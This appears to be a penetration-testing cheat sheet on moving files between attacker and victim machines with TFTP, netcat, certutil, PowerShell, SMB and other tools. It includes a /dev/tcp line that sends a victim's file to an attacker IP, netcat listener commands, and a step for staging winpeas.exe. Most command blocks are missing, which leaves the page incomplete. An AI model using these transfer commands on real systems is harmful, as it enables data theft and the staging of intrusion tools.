File Transfers and Download

TFTP(WINDOWS)

Attacker:

apt update && sudo apt install atftp
mkdir /tftp
chown nobody: /tftp
atftpd --daemon --port 69 /tftp

Victim Windows

tftp -i 192.168.1.2 PUT file1.txt
tftp -i 192.168.1.2 GET file2.txt

From victim's linux machine to our machine quickly

In attacker's machine

nc -lnvp attacker-port > file.extension

In victim machine

cat file_to_transfer.extension > /dev/tcp/attacker-ip/attacker-port

wget

wget can be used both to download a file from internet or we can host a file by starting a server in attacker(our) machine (in same directory where our file is located) and download that file in the victim machine.

In attacker machine

In victim machine

curl

curl can also be used both to download a remote file from internet or can be used to transfer file between computers same as wget.(Below file.sh is located in same directory where we are starting python server on port 8080)

In attacker machine

In victim pc

axel

axel can also be used to download and transfer files in linux hosts.Below we start a php server on port 8000 on the same directory where our file(file.sh) is located and download the file in victim pc using axel.

attacker host:

victim host

netcat

netcat can also be used to transfer files as well as listen for connections its basically a swiss army knife for hacking.Below we are transferring winpeas.exe from attacker machine to victim machine via port 5555.

In attacker machine

In victim host

certutil

In windows certutil can be very efficient method to transfer files.Below we are starting python http server on port 9000 in the same directory where our file winpeas.exe is located.

In attacker pc:

In victim pc

powershell

Here we should always use single quotes in powershell for both the url and the output file.

In attacker pc

In victim pc

In victim pc in powershell session:

smb

In attacker pc using impacket

In victim pc:

hello represents the sharename we can set it to anyname and "." represents the current directory where our file is located

Base64 method

we can encode the executable file in base64 format in our attacking machine and copy paste the encoded string inside a txt file in victim machine and save the file as an executable by decoding the file in the victim machine

In attacker machine

In victim machine:

In victim machine second step:

scp file transfer

copying local file to remote server:

copying remote file to local machine:

Rsync file transfer

copying local file to remote machine

copying remote file to local machine

ftp(For file download to local pc)

In attacker pc:

In victim pc:

login with username anonymous and password anonymous then we can do:put file.exe from victim machine which will be saved attacker machine automatically and the path will be given in the attacker's machine output itself where the file has been saved.

Powershell webclient method(from victim windows to attacker's linux)

In attacker pc:

In victim machine from powershell session:

Last updated